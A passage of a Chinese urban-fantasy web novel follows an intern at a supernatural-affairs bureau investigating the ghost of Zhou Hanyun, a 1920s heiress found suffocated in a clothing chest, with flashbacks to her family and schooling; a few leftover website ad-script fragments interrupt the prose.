大抵是感受到前辈的视线,她没忍住摸了摸自己的耳垂:“师父,为什么我会是生离啊?” 前辈重重的叹了一口气,为什么每个新人总有那么多的问题啊!为什么为什么哪里那么多的为什么! 他的步伐迈得更大了一些,但是耳朵边的师父跟催命一样叫个不停,他都怀疑他的好徒弟是不是给他下了紧箍咒。 好在地方已经到了,他从自己的工位上扒拉出一袋营养液,一脸虚弱的拆开包装灌进嘴里,才感觉自己重新活了过来,顺便也扔给自己的徒弟一袋,冷嘲道:“为什么?你不想当生离,难道还想当死离不成?” 他没好气的撸起袖子,这下实习生终于看到了写在自己师父手腕上的那两个字是什么——“死坎”。 实习生的瞳孔一缩。死坎,竟然是死坎! 耳边是前辈的冷呵:“鬼吃情绪变强,人则靠欲望觉醒。鬼有四大情,而人——则有四大欲,分别是生欲,贪欲,色欲还有死欲。” “生欲很好理解,归根结底就是人类在危急关头爆发的求生欲,是一切积极的,向上的欲望,同时觉醒生欲的人数也是所有觉醒者里数量最多的,像我们局里大多都属于生欲觉醒者,并且我们的副局长还是一名生坤。” “而乾、坤、坎、离则对应欲望的四个等级,最高是乾字级别,最低就是像你这样的离字辈。”前辈放下袖子:“但你也应该清楚,欲望这个东西是一把双刃剑,觉醒者本身就比常人拥有更强烈的欲望,他们也会更容易被欲望吞噬,除了生欲觉醒者,其他三种欲望觉醒者都属于极端危险分子,必须要被管控起来。” “这也是为什么我们局里只看见生欲觉醒者的原因。” 实习生望向这名嘴上说大家都是生欲觉醒者的死欲觉醒者,不知道为什么心里有点发寒—— 如果生欲代表人类的求生欲,那么死欲代表的又是什么呢? “师父——”她小声道:“为什么,你会是死欲啊?” 5. 天字鬼怪 前辈没想到这样都没有吓住实习生,要知道他一撸袖子,局里一大半人都不敢跟他对视,另一小半人则想把他抓起来。 “为什么为什么,我干脆叫你十万个为什么好了。”他没好气道:“人的欲望又不是一成不变的,当遇到某些巨变时,就会出现某一欲望下的觉醒者转化成另一欲望下的觉醒者的情况。很不巧,你师父我就属于这一情况,我是一名转化者,由生欲转化成死欲。” “还有问题吗?” 实习生摇了摇头,她就算再没眼力,也知道能让一名生欲觉醒者转化成死欲觉醒者,该是一件多么绝望的事情,才会让他彻底丧失了求生的欲望,转向求死…… 哪怕前辈并没有露出苦大仇深的神情,就这么随随便便的说出来,实习生依旧嗅到了其中的惨烈。 实习生假作低头撕开营养液的袋子,想通过吃东西来逃避这件事,以免气氛过于沉闷,她直接对着嘴吸了一大口:“唔!!”脸上瞬间像打翻了调色盘一样,五颜六色。 只见前辈露出事情得逞的快乐笑容:“怎么,味道不错吧?” 实习生直接皱成一张苦瓜脸,极其艰难的把那奇怪的液体咽了下去,委屈巴巴的指控:“好难喝!” 前辈不仅不安慰,反而哈哈大笑起来:“这可是专门为我们觉醒者配制的营养液!以后你喝它会比喝水还要频繁!” 不等实习生再次问前辈新的问题。 “哔——哔——” 整层楼天花板的警报灯都在同一时间亮起,警鸣足足响了快五分钟才停下来。 实习生抬起头,她有些茫然的看着那不断闪烁的红色警报灯。 办公室里本来还有几个人姿势闲散的坐在那里摸鱼,要么玩手机,要么边看剧边吃东西,此时却一同放下手里的东西,表情严肃的站起来。 受这样的气氛影响,实习生也有点慌,她扭头想要找前辈,却发现前辈的脸上与其说是肃穆,倒不如说是一种极为强烈的恐惧。 “前辈?” 她试探的叫出口。 前辈脸上的恐惧一闪而逝,最后露出一张极为难看的苦笑表情:“实习生,你可真是撞大运了。” 实习生没懂,就在她想要问前辈的时候—— 从走廊一头疾步走过来一行人,为首是一名穿着制服,年纪五十左右,头发花白的女领导,她另一只手里拿着资料,目光坚毅中又充满威严,扫视一圈:“就你们几个?” “局长。”实习生看到有个瘦高个站出来,一脸紧张的解释:“副局长刚刚带了人出去,说发现了一只老鼠,抓完就回来!” 这位今年五十二岁的局长张晚霞其实并不是觉醒者,她只是一个普通人。但她却统领着这一帮子觉醒者,且完全不落下风,可见其能力。 她听着瘦高个的话也不生气,只是点了点头表示知道了:“时间紧张,我们来不及等他了! 都过来,临时开个作战会!” 在她的话语中,原本分散着站着的几人都拿着本子笔凑到她的身边。前辈也拉着不在状态的实习生凑了过去了。 张晚霞点了点手里的纸质报告: “自异常能量检测中心发出虚界能量数值突然飙升的警告后,我方在虚界驻扎人员立刻检查了泸市目前存在的三十一个虚界裂隙,均无异常。最后指挥部排除了一切可能,得出最终结论,这是一个新出来的虚界裂隙! 虚界裂隙每次出现,从虚界逸散出来的能量都会在凡世形成一个半开放式的场域,场域遵守的是虚界的规则,对于普通人来说及其危险,历往被卷入场域的普通人死亡率高达百分之九十五。 为了避免悲剧重复上演,尽早确立虚界裂隙出现的位置极为重要! 在得到消息后,我部门的后勤人员与天网的同事合作,翻遍了全市所有的监控,耗时二十四个小时,经过一天一夜没合眼之后,终于确认了目前虚界裂隙所在位置,地址是——” 她说到这里,拿起手边的马克笔在身后的白板上画了个圈,写上一行字—— “静安区华北路14号。” 张晚霞指着白板上的地址对众人道: “在档案室的同事配合下,我们立刻调出华北路14号往年的档案。 据资料记录,华北路14号所在的土地在上世纪20年代初由周家纺织厂厂长周卿庐买下,为小女儿周含蕴建造了泸市第一园林——蕴蕊苑。 蕴蕊苑建成之后,大出风头。许多媒体记者争相报道,称其为划时代的建筑。 但也正因为蕴蕊苑,周家被有心人给盯上。 24年国父去世后,由国父一手建立的民国陷入非常激烈的党派斗争,整个民国上上下下,一片混乱。 有人借此机会,使用不正当的手段强迫周家的纺织厂关停。 纺织厂关停以后,织工无处可以去。为了不让十万织工无家可归,厂长周倾庐卖掉了周家大部分产业,全部用来稳住这些工人。 周倾庐的大儿子周纯君当时在黄埔军校就读,成绩优秀,很受老师赏识。 周家突遭变故之后,周纯君带着自己两个兄弟在学校老师的牵线下,参加各种政治交流会,以这样的形式结识会上的高官,试图给周家找一个靠山。 但屋漏偏逢连夜雨,就在周家焦头烂额之际,他们的小女儿周含蕴遭人绑架,绑匪提出天价勒索金,开口就要金条八千八百根,否则就撕票。 周家自然拿不出,也不可能拿出来。只能委托给当时民国的警察局,这群警察收了周家给的真金白银,也还算负责。 只是他们翻遍整个泸市都没有找到周含蕴的下落。一直到一周后,周家仆人去蕴蕊苑收拾周含蕴遗物时,在周含蕴闺所里,存放衣服的木箱子中,发现了周含蕴的尸体。 作为纺织起家的周家,周含蕴的衣服自然不会少,仅是放置她穿不完的衣服就足足装满了十来间屋子,大部分衣物可能一年都穿不了一次,只能待在箱子里等待主人偶尔有一天想起它的时候。 为了不让箱子里的衣物发霉发臭,这些存放衣物的箱子里一般会放一些香薰除味,这些香薰盖住了尸体的恶臭,这也是为什么尸体至今无人发现的原因。 待到发现时,周含蕴已经死亡超过一周,身体的组织液渗透了整个箱子。 她是被活活闷死在里面。” 实习生竖着耳朵记笔记,听到这里,笔尖用力的一滑,把刚写好的“尸体”两字给划花了。 虚界裂隙的每次出现都跟鬼脱离不了干系,周含蕴死得这么惨,显然已经构成了变成鬼的条件。 但是为什么——实习生不自禁的转动笔尖, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 虚界裂隙没有在她最怨恨的时候,情绪最浓烈的时候出现,而是时隔一百年后的今天出现呢? 难道这位百岁老人家的反射弧要比别人长许多,直到一百年后才变成鬼? 张晚霞停顿了一下,她就好像听到了实习生心中发出的疑问一样,专门解释道:“可以确定周含蕴在死之后就变成了鬼,在她死后没多久,周家的纺织厂并没有起死回生,反而是以一个极快的速度垮台。 周卿庐见到周含蕴的尸体的当天夜晚就因为突发心肌梗猝死。 几天后,周纯君及其两个弟弟在开车回家的途中,由于刹车失灵,车子直接冲进黄浦江,等打捞上来时,人已经泡大了。 而导致周家出事的始作俑者也在不久之后被发现离奇死在家中。 蕴蕊苑先是在周家手上,周家人死完了以后,就被当时陷害周家的始作俑者拿到,但没多久始作俑者也死了。后面接手的人觉得它烫手,就把它快速转让给别人。 从这些资料上可以得知,当时的蕴蕊苑已经变成了一个场域,而随着时间变化,场域则会慢慢的缩小,一直到场域的主人周含蕴被虚界裂隙彻底吞噬,场域就会跟着一起消失。 比如,一开始接手蕴蕊苑的人非死既亡,到后面影响逐渐降低,直到89年,蕴蕊苑租赁给华北医院使用,可以确定这个虚界裂隙已经完全消失。 而为什么如今它又再次出现了——” 张晚霞扭头在白板上写出两个字:“升级。” “与凡世不同,虚界的世界里充满着各式各样的鬼,普通的鬼进入虚界很容易就会成为别的大鬼的养分,但总有例外!” “10年前蜀省的一个小山村就有过虚界裂隙再次出现的事件,蜀省的特事局(简称,全名特殊事件调查局)在华国实力排在前三,第一则是首都。 局长王广是少有的在乾字级别的觉醒者,第一次虚界裂隙就是在他的带领下关闭的。所以当虚界裂隙再次出现的时候,有了第一次经验,王广本来以为这是一件很容易的事情。” “但事实却跟他想象的不一样,再次出现的场域跟第一次完全不是一个级别,依赖第一次经验只会损失惨重! 原来场域的主人就是一只地哀级别的鬼, 可当它再出现,却变成了一只天哀!” “一字只差,却天差地别。进入场域的蜀省特事局几乎全军覆没,即便是乾字级别的觉醒者王广最后也只能一个人从里面逃出来。 那个小山村如今成为蜀省一百零八个禁地之一,不让任何人靠近。” 当她说完这件事的时候,实习生听到,原本耳边还悉悉索索的,传来的笔尖摩擦本子的声音都在这一刻同时停了下来。 整个办公室鸦雀无声,就像是被人按下了消音符。 张晚霞那张坚毅的面孔看不到一丝一毫的惧怕,她就像是不知道自己说的那些代表什么一样。 她甚至还对望着她的众人笑了一下:“刚刚系统发出的,最高一级的警报大家都听到了吧?” “是的,你们没有听错,我们这一次要面对的,很可能就是一只天字级别的鬼怪!” 实习生听到这句,手里的笔都快被她给折断了,整个人紧张到想要呕吐。 心里苦笑:师父,你可真没说错,徒弟我真是撞大运了。 6. 周含蕴的过去 外面风风雨雨,却跟眼下的周含蕴没有什么干系,什么天字级别的厉鬼,她现在只不过是一个刚发现自己变成乞丐的绝望大小姐罢了。 对于周含蕴来说,几个时辰前——她觉得她一觉顶多就睡几个小时。 总之前不久,她还是周家捧在掌心里的千金大小姐,不仅有父母疼爱,几个哥哥更是围着她转。 容貌也是继承了她父母身上的优点,比如母亲的翘鼻,小脸,父亲的双眼皮,大眼睛,谁见了都说她真会长。 最重要的是她还很有钱,才刚刚十八岁,就入手一套仅是地皮就价值五千大洋的个人花园(放到如今这块土地的价值至少三十亿起步)。 换谁,谁能不自得? 即便是常年身体不适,一年三百六十五天有三百六十四天都情绪不佳的周含蕴。 也是难得的放松,放纵自己享受这份简单的喜悦。 虽然她因为身体缘故并不怎么出门,但却并不是大门不出二门不迈的闺中小姐。 现代人总有个误解就是,过去女子不能随意出门,于是她们只能整天被关在小小的房间里,每天坐在窗前望着窗外自由的世界发呆—— 谁说古代女子每天除了发呆就没事做了,她们很忙的好吗! 即便是最封建愚昧的大清,身处上流阶层的女子也不是每天坐在家里发呆,无所事事。 她们身为贵族女子,必须要拥有这个身份所拥有的最基本的素质,也就是说她们也是要受教育的。 在卷孩子教育这方面,华国一向从不服输,不管是几千年的家长,还是现在的家长,都是一样的卷。 即便当时社会信奉女子无才就是德,但是你作为一个高官贵族,真把自己女儿教得大字不识,愚笨不堪,那才是贻笑大方,根本拿不出手去。 对于过去的封建社会来说,教育是独属于贵族阶层的奢侈品,也是贵族用来攀比,且抬高自己身价的重要手段之一。 什么样的人大字不识,生活底层的人,穷人,庶民,没有条件接受教育的人。 粗鲁,蠢笨,所以大字不识。 这样的人天生就被上流社会鄙视,哪怕他能力再强,再优秀,甚至已经取得了不错的成绩和地位。 那群人提起来也不过是一句满是嘲讽的——“他下等人出身,大字不识一个。” 在这样的风气下,最顶层的这群贵族小姐肯定是要接受教育的。 只不过女子天性包容大方,为了照顾许多男同胞的自尊,很多明明识字也会装作自己不懂。 毕竟她们也不用拿这个做官,只需要简单懂得生活中常用的,不至于做个文盲就行了。 而且贵族女子的圈子也没有你想象的那么封闭,她们不仅要在家中傅母(相当于家庭教师)的教育下读书习字,傅母还会教导你一些人情世故,女子为人处世的简单道理。 甚至一些用来培养情操的琴棋书画,不求精通但也都要女子略懂一二—— 毕竟贵族女子平日里会客时,与同龄人交流玩耍时,都会用上。 像红楼梦薛宝钗就极为精通诗词歌赋,在与红楼梦里的众妹妹斗诗时拿到冠军,艳冠群芳。 可没有人嘲笑她懂得太多。 贵族教育下长大的女子,不求你成为一个才女,但是走出去也不能当个这也不会那也不懂,两眼一抹黑,啥都不知道的愚人。 到了晚清以后,有条件的家庭就开始嫌弃原来旧有的教育跟不上时代,基本都选择让子女接受新式教育。 而彼时新式教育刚出来不久,懂得新式教育的家庭教师更是数量极少,完全跟不上这些人与日俱增的需求。 于是,女子学校随之诞生。 周含蕴就是女子学校毕业的,她自然也认识了许多同龄人,这些人无一不是家庭优渥,要么是富商,要么是高官的女儿。 周含蕴在家中有哥哥、爸爸妈妈的疼爱,在学校里,大家谁不是千宠万宠养大的千金,谁会惯着你? 一开始,周含蕴自然是很不适应的。 她看起来那般柔弱可怜,却不是每个人都会怜香惜玉,有那样的恶人,越是看你软善可欺,就越想拿你来逞威风。 三哥周纯星心思细腻,担心她在学校里被别的女同学欺负,他是知道那些大小姐脾气有多大,发作起来够让人喝上一壶。 作为三兄弟最不起眼的那个,小时候就没少受这群大小姐欺负。 所以每到周含蕴上学放学,周纯星就会亲自去学校接送,时不时还要去学校问候老师,他去的勤了,学校的女学生就都认识他了。 周纯星虽然俊朗比不过大哥周纯君,风流比不上二哥周纯芦,但是他气质温柔如水,周家几个兄弟就没有长得丑的,于是有女学生青睐则是再自然不过的事了。 周纯星确实足够周到,但男人的思想再如何细腻,也想不到有些事情跟他以为的是两回事。 周含蕴虽然病弱,但跟软善却是两回事。 事实上她脾气其实一点都不好,再者周家说大不大,说小也不小,周含蕴整天见着的人,看到的事,只会多不会少。 不说别的,就只说仅在她身边伺候的就有十几位女仆,这还不算傅母,管家这些,前前后后,加起来足有上百人。 这些人里有性格刁钻的,也有老实蠢笨的。 她虽然不怎么出门,但也没眼盲耳聋,要知道现在大学一个宿舍四个人都能拉四个群,更何况那上百个仆人。 谁跟谁亲近,谁跟谁有过节,谁要算计谁,这些东西,周含蕴不仅亲自见过,还当裁判处理过。 她幼时很喜欢这种裁判一切的感觉,长大一些后又有些厌烦,只觉得人心脏污,整日为了一点微薄小利蝇营狗苟。 待到后来——意识到自己也不过是俗人的一份子,那股愤世嫉俗的情绪才被她按压下来。 这也是为什么她死后,不是恐惧,不是悲哀,而是愤怒的情绪占了主导—— 她从小就是个愤世嫉俗的性子,换现在的话来说,就是有点中二,有点愤青,对很多事很多人都看不惯,却又因为身体缘故,不能像正常人随便发泄,只能像一个沉闷的火山,不断地压抑不断地压抑。 之前还有自觉精明的仆人欺她年小体弱,不把她当回事,周含蕴哪怕很生气,却又不能轻易 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动怒,一旦动怒,损伤的只是自己身体。 她只能用别的手段让这些不知好歹的人长长记性,因为压抑本性,所以手段往往更加的残酷,被她这般整治的人很少能完整的走出去。 这样几次以后,她身边的仆人,渐渐就畏她如畏虎。 她刚进入女校,一开始也是有所期待的。 毕竟她以往的社交圈子,很少能够接触到这么多同龄同地位的女性。 一开始也是抱着交几个朋友的想法,但是周边人对她保护太过,刚开始那些女学生不知道她是谁,还会跟她说上几句话,到后面都知道她身体不好,或多或少被身边人警告以后,这些人就又都远离了她。 周含蕴再如何有心计,本身也是骄傲的,让她弯腰俯身去迁就是不可能的。别人不理她,她也不会舔着脸去求着别人跟她做朋友。 当然,也有一些压根不把家里警告当一回事的,但你可以想象那会是什么样的人。 要么是被宠得不知天高地厚,要么就是心里有底气,完全不把周家放在眼里的人——既然都不把周家放在眼里了,你周家小女儿身体不好,凭什么让我让着她? 本来这几个只是心里憋着不服,想要给周含蕴点厉害瞧瞧的—— 你既然身体这么不好,你就别来上学啊!姑奶奶我从小长到这么大还真没让着谁过。为了你这么个家伙,我还得被人警告,都怕我欺负你,既然如此,我就把这事给坐实了! 但真接触了,发现周含蕴跟她们想象的完全不一样,压根不是什么柔弱可怜白莲花,反倒是尖酸刻薄,刁钻得很。 那几个女生其实本来就是想吓唬一下她,想着这家伙,估计都不用她们怎么样,只是做个声势,就得吓得眼泪汪汪,连夜跑回家去不敢再来上学。 结果周含蕴既没被吓到,也没强忍眼泪做坚强小白花,甚至都没被她们给围堵到,提前就找老师拦住她们。 等到她们被老师教育半天,周含蕴早就不知道哪里去了。 就在她们咬牙切齿的时候,这家伙又给她们弹了纸团,语气极为轻蔑——“就你们玩的这些花招,都是我玩剩下了。” 不等她们生气,周含蕴笔锋一转:“先前那回算我赢吧。愿赌服输,下次规则该我说了算。十天后,我会跟我爸爸一起参加叶家的酒宴,就比比谁能成为酒宴最闪亮的明星。不过……你们不会连参加酒宴的资格都没有吧?” 周含蕴一个激将法,这几个女生瞬间掉进了她挖下的陷阱。 既然是比试,那么自然有输有赢,输的人不服气自然想要再赢回来,你来我往的,慢慢也就熟悉了起来。 而这群大小姐能比的东西有什么呢? 无非就是自身的容貌,自己的成绩。再然后上升到家境,父母疼爱,就连几个哥哥最后都被拿出来凑热闹,你说我的哥哥能骑马,我说我的哥哥成绩好。 以至于那段时间整个纨绔圈的公子们,都惨遭被妹妹们用不争气的眼神洗礼。 幸亏她们没有到现代接收网络文化的熏陶,不然一句“我的哥哥能吃屎”。 那些公子们估计要用一生来治愈这份阴影。 7. 关键线索 既然比试是周含蕴开的头,那么她自然必须一定要拿头筹。 也许之前,她拿这个头筹,还会被人质疑,觉得她德不配位,周家再如何豪富,也不过就一届商贾,而且她这个大小姐看着就一副柔弱可怜的相貌,既不大方也不明艳,手里也没什么恒产,难以让众人服气。 那么蕴蕊苑的出世,则再不会有人怀疑她在泸市千金圈的顶级地位。 她是很清楚这群跟她比试输了的大小姐们有多不服气,以前比输了以后还要酸上一句——就算这会儿跟我们比赢了又如何,以她那药罐子身体,估计连个要的人都没有,到时候我们做我们的高官太太,她就只能守着她的药罐子过一辈子哈哈哈。 其实在她长大的过程中,这样的言论向来不绝于耳。她也不止一次听过,以前还会动怒,到后面听多了,连怒都懒得动。 跟这些人计较什么呢?她们一辈子的成就可能就是当一个摆设被男人放在家里,这样的事情难道还少了?周含蕴陪爸爸见的那些叔叔伯伯,哪个不是这样,哪怕后面追求什么都要向洋人靠拢的风气,太太们也要从家里走出来陪着男人应酬,当二把手,这些男人也没有把家里的摆设给放出来,都嫌弃拿不出来手,大多都是带着情人撑场子。 周含蕴见过那些女人,卷着摩登女郎的卷发,穿着貂皮,涂着大红唇,见谁都带着讨好的笑容。 有一些还想找周含蕴说话,她们拿出她们最珍贵的手镯,项链想要送到她的手里,都被爸爸不动声色的给挡下了。只说小女儿身子弱,戴这些贵重的东西怕弹压不住。 旁边的叔叔伯伯很不客气的骂她们轻浮,不稳重。 周含蕴就在一旁漠然的看着这一切,等到宴席散去,爸爸喝醉了,他很难过的牵着她的手说,爸爸不嫁你。 哥哥们也对周含蕴说过这样的话,哥哥养你一辈子,不会让你随便嫁人。 他们比谁都清楚,女子嫁人不是什么好事。倒是妈妈觉得她还是要找个贴心懂事的人,她连爸爸哥哥都不相信。 她说他们现在待你好,可能好一辈子吗?我和你爸是要走在你的前头去,到时候你怎么办呢?你的哥哥们现在对你千依百顺,可是当他们取了媳妇,有了自己的孩子呢?到时候你的位置又在哪里呢? 而蕴蕊苑建好以后,周含蕴就有了家,她有一个这么大的园子,谁不眼红,谁不嫉妒,但是再眼红再嫉妒,她们也要压着心里的酸涩来奉承她。 就连妈妈也不再担心了,说她有了这个园子,以后都不用愁了。 只是她妈妈说这句话的时候并不知道,她最放心不下的小女儿根本活不到那个时候,更别说见到哥哥们娶媳妇了。也就不存在所谓的容不下。 这名娘家姓马的女士,在听闻小女儿被人绑架的噩耗以后,特别是察觉到自己的丈夫并不打算出那笔赎金的时候,整个人直接陷入崩溃。 她把自己所有的嫁妆都掏出来,想要让绑匪放过自己的女儿,那是她最小的女儿,也是她最娇弱的孩子,平日里吹点风都要病上许多天,她要怎么才能在那群绑匪的手中活下去。马女士简直不敢想,她也拒绝去想。 但是她的嫁妆对于那天价勒索金来说杯水车薪,她的丈夫说绑匪压根就没打算要钱,他们就是奔着要他们周家毁灭来的。 越是这个时候,他们就越不能乱,越要稳住,那些人发现一时无法毁灭掉周家,反而会留周含蕴一条性命。不然等到周家完了,周含蕴更是活不成了。 他说得那样有道理,但马女士却仍旧无法接受。她心如刀绞,痛不欲生,却不想他竟然还能有如此的理智,分析得头头是道。 明明平日里他表现得比她要爱小女儿得多,可是到了关键的时候,视若珍宝的小女儿也是可以轻易舍弃的……周家,呵周家,到头来他的眼里只有周家,只有自己的权势和地位! 是不是男人天生心肠就要冷硬一些?马女士心想。 可是男人们都靠不住,她又能做什么呢?马女士一天比一天沉默……看着马女士不再硬要出赎金时,周家父子还很是松了一口气。 一直到发现周含蕴尸体的那天,周家几个兄弟红着眼眶强忍悲痛告诉母亲这个消息,却看到平日里听个故事都会流眼泪的女人,在得知小女儿死时的消息时,表情是那样的平静。 平静到让人心里发慌。 她冲他们做了个噤声的手势—— “嘘——小点声,你们妹妹在睡觉呢!” 这位可怜的母亲,在得知小女儿绑架后,在一天天以泪洗面,求神拜佛,却依旧只能等来女儿下落不明的消息以后,在看到自己崇拜的丈夫,自己引以为傲的儿子,他们冷漠又无情的另一面后,终于疯掉了。 但即便如此,生活在那个年代的她,也未能在记载中留有只言片语。没有人关心这个女人在这件悲剧中是个什么命运。 只有跟随前辈们前往蕴蕊苑的实习生拿着自己写着笔记的笔记本,望着上面写的周含蕴父亲兄弟皆暴亡,总觉得少了点什么。她于是微微侧过头,对着望着车窗外陷入沉默,不知道在想什么的前辈道:“师父,有个问题……” 前辈本来压抑的心情都在这一声“师父”中直接被冲垮,取而代之的是濒临崩溃的无语:“……你哪来那么多问题?” 实习生朝着前辈举起本子:“资料上只写了周含蕴的父亲,兄弟,为什么没有写她的母亲呢?” 周含蕴如果不是石头里蹦出来的,她必然是有母亲的,可是她的母亲呢?难道之前就去世了?那也应该记一句几岁母早亡,而不是一句都没有啊…… 前辈一愣,他望着笔记本上代表母亲的那个问号,陷入了沉默。是啊,周含蕴的母亲呢?他竟然完全没有意识到这件事! 但是一个四十多岁的女人,丈夫,子女均亡,在那样的年代,等待一个女子的命运又能是什么呢?她也许活着,但可能还不如死了……'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 实习生看着陷入自己思绪的前辈,不由得出声提醒:“师父?” 却没想到,当前辈再回过神时,他的眼睛像灯泡一样,锃的一下亮起:“实习生,你可能要立大功了!” 话落,他猛地拿起实习生的本子,一下就从座椅上翻到前头,用力拍着驾驶舱的隔板:“停车!我有个大发现!停车!我要告诉局长!!——” 实习生都被前辈歇斯底里的样子给吓到了,在前辈的声嘶力竭下,几辆车停靠在路边。 局长张晚霞正跟别人通电话,此时眉头微凝,朝这边看过来,实习生吓得脖子一缩,一句话都不敢说。 她心里嘀咕,局长真的只是普通人吗?为什么比觉醒者还要吓人。 就连前辈都一改刚刚无理取闹的模样,他像是突然找回了理智,像一个正常人那样通情达理,对着局长说:“局长!我刚有个大发现——要不您先把电话打完?” 张晚霞对那边说:“好,你一会儿直接过来,不用再回局里。”她说完,挂掉电话,侧过头望向前辈:“我听听看,你有什么发现?” 前辈举起实习生的本子:“母亲!周含蕴的母亲!她可能没有死!” 张晚霞按了按自己的太阳穴:“周含蕴的母亲记载非常少,档案室的同事翻遍了许多资料,有说她是曾经上海都督陈其美的私生女,也有说她是周卿庐去游学时认识的女学生,家境一般。 目前说法不统一,无法确认其身份。但就算如此,周含蕴是上世纪零六年生人,假设她的母亲十五岁生下她,如今也有一百三十来岁了。你觉得她能活到这个时候吗?” 前辈张嘴结舌,还是实习生看不过去,补充道:“局长,我觉得师父的意思是,当时已经变成鬼的周含蕴杀光了周家满门,却很可能唯独放过了她的母亲,并没有朝她下手——不管她那时是否还认识自己的母亲,我觉得这会是我们这次任务的一个关键线索。” 张晚霞把目光落在这个年轻的实习生身上:“你叫什么?” “额……”实习生有点后悔,自己是不是不应该站出来发言,顶着张晚霞满是压力的目光,磕磕绊绊的回道:“我、我叫蓝玉。” “好,蓝玉,你对问题的探索和求知的态度非常不错。保持这样的灵敏嗅觉,它会在以后的任务里帮助你很多。我会让档案室的同事尽快确认周含蕴母亲的身份和具体情况,如果真的有消息传来,并确认你的猜测是正确的,我会向上级记你一功。”张晚霞认真的对她说道。 蓝玉不敢相信,不过只是提个疑问,竟然还有功劳,她怔怔的望向张晚霞,却看到张晚霞朝她点了点头。一股激动,热血,兴奋的情绪涌上心头。 她扭头想要朝前辈分享这份喜悦,却看到前辈垂头丧气,嘴巴嘀嘀咕咕着我呢,是不是把我忘了,我也是有功劳的吧……这样的话。 蓝玉:“……” 算了,还是下回再说吧,让前辈一个人静静。 8. 生欲觉醒者的“生机” 蕴蕊苑一进去是一道画廊,里面的大部分设计是周卿庐找了苏家园林的设计师,又结合了西方的设计元素综合而成,你能看到中方的一步一景,也能看到西方的小洋楼,算是比较成功的中西结合的案例。 周含蕴的闺所就是一栋三层高的小洋楼,一层是待客用的,二层一整层全是她的房间,仅仅只是衣帽间就有四五间,这还是有一些不怎么穿的都封在箱子里放到三楼的仓库里,不然二楼都放不下她的衣服。 二层是不会让人随便上去的,即便是她的哥哥也不会轻易上楼,只能待在一楼陪她说说话。一楼也有许多客房,还有仆人的房间。房间的格局不像现在这样一百来平要塞下客厅,卧室,然后还有分厨房洗手间这些,塞得满满当当。 它仅仅只是正厅,也就是会客厅面积就有上百平,供人开个舞会没有问题,后面则是"U"字形的走廊,走廊连接的房间,再是厨房,仆人房间,公共卫生间这些。 而客人的房间,休息室,则连接前厅,前厅连着入户厅,总之你算算,这面积加起来有多大。关是在走廊之间穿梭都能够把你累死。 周含蕴一口气能从室内走向室外,也不怪她讶异自己竟然体力增加了。 她抱着我不信邪的态度,就这么闷头往外走。说实话,这可能是她第一次这么完整的逛蕴蕊苑了。在小洋楼下的小花园明显是常年没有人搭理,杂草丛生,许多名贵的树种都干枯死掉,透着一股荒败的景象。 但是从小花园走出去,就会发现外面的路是整洁干净,路道两旁的篱笆都有好好修剪过,整齐的像正方形的方块。 地面的石板换成了干净漂亮的大理石瓷砖,上面的花纹引起周含蕴的注意,她深吸一口气,踩在那漂亮的瓷砖地面上。虽然一切变得陌生,但地方还是原来的地方,她记得蕴蕊苑一共修建了七座桥,每一座桥的名字都有典故,周纯君都给她细细讲解过,还让她选了名字。 比如她最喜欢的一座桥叫做连心桥,喻意着人和人心意相通,心连着心。连心桥边上还修建了亭子,叫望秋亭,风景很好。她上次来过,这一次循着方向,果然再次看到那座熟悉的亭子。 亭子被人刷了新漆,旁边还立了一个牌子,告诉别人这个亭子叫什么名字。只是字不是她熟悉的繁体,反而缺胳膊缺腿,她辨认了许久,才辨认出这是什么意思。 周含蕴笑了下,觉得自己好像进入了另一个世界里一样,这里的一切,陌生中透露着熟悉。她好奇的想这个世界里也有一个周含蕴吗?她会是什么样子?她还在这里吗?还是去到了她的世界里去吗? 她被自己天马行空的想法逗笑了。 她难得的勾起了逛园子的性质,往年她走一会儿就得累得喘不上气,可是现在她一点都不累。这种健康的状态太难得,让她一直保持着不错的心情,哪怕到目前为止一个人都没有看见,她也心情不错。 她从这头走到那头,一直把蕴蕊苑上上下下逛了个遍,她在蕴蕊苑门口熟悉的廊亭上发现蕴蕊苑变了个名字,它现在叫做——华北花园。 这名字真普通。她皱了皱鼻子,随后又在门廊附近找到了一根棍子插着不同方向的箭头指示牌。她又被它的造型逗笑了,看了好一会儿,发现只要是个人按照它的指示走,都不会走错方向。 这样的指示牌并不只有它一个,每往前走一百米就能看到一个,渐渐的,她脸上的笑容落了下来。虽然不愿意承认,但是她很清楚,即便是周家这样的财力,可以做这样的事情,他们也不会细致周到在这样的细节上。 这处处显微,反倒透露给她一件事——这里还是华人的国家吗?莫不是被日本人占据了?周含蕴生在最风雨飘渺的时期,虽然她对政治不感兴趣,却或多或少也知道民国政府有多糟糕,谁都知道这个政府撑不了多久,但是大家都在冷漠着注视着它,等待它彻底垮台的一天。 1919年巴黎合约签订,让华国所有人都对政府的无能失望透顶,五四运动激起了所有有志青年的热血,即便如此,也扭转不了急转而下的局势。 不止国内的人,国外的人都看到这个国家的懦弱和可欺。 当时周含蕴十四岁,她对哥哥周纯芦说:“我们国家完了。”周纯芦这样离经叛道的性格,听到周含蕴的话,脸色也猛地一变。 他找了杯水递到周含蕴嘴边:“我的姑奶奶,这样的话可不能乱说。我得哪天去你们学校问问,可不能教你这些乱七八糟的东西。” 他一脸严肃的说:“你身体这么差,那些游行的,都不要命了,你可不能参与这件事。” 周含蕴“哦”了一声,她这样愤世嫉俗的性格,此时却难得的没有生气,巴黎合约签订的消息传来,即便是情绪最稳定的大哥都骂了一句“册那”,周纯芦去外面喝了一夜的花酒,不叫人陪,干喝酒,吐得稀里哗啦,被人抗回来。要以往,大哥必定是要教训他的,但是那天他只说了一句:“随他吧。” 周含蕴却很淡定,她只说了一句:“我早就知道会这样。” 她在饭桌上说:“这就是他们能干出来的事情,他们那些人也就只能在女人床上逞威风。” 周纯星正喝汤,听到这话,一口汤直接从鼻子里喷出来。 周倾庐很淡定的那餐布抹了把嘴,扭头骂周纯芦:“看看你,整天没有正行,把你妹妹都带坏了。” 周纯芦躺着也中枪,指了指自己:“这也能怪我?” 周纯君看了周含蕴半天,有心想要说一句责怪的话,憋了半天,只憋出来一句:“少跟你二哥待一起。” 周含蕴觉得他们小题大做,翻了个白眼:“你就说我说没说错吧?” 